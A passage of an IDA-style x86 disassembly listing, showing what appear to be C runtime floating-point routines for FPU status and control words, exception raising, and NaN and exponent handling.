		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------

loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------

loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------

loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx

loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_4241BC	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh

loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh

loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h

loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh

loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx

loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------

loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------

loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx

loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_424818
		fld	ds:dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs

loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	ds:dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------

loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	ds:dbl_43B8D0
		fchs

loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	ds:dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------

loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	ds:dbl_43B8C0
		fchs

loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_424818
		fld	ds:dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs

loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]

loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx

loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------

loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------

loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx

loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx

loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx

loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3

loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx

loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx

loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx

loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	ds:dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	ds:dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8

loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, ds:off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3

loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B

loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4

loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------

loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E

loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax

loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1

loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------

loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	ds:tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait

loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	ds:tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	ds:tbyte_43B8F4
		fstp	[ebp+var_8]
		wait

loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
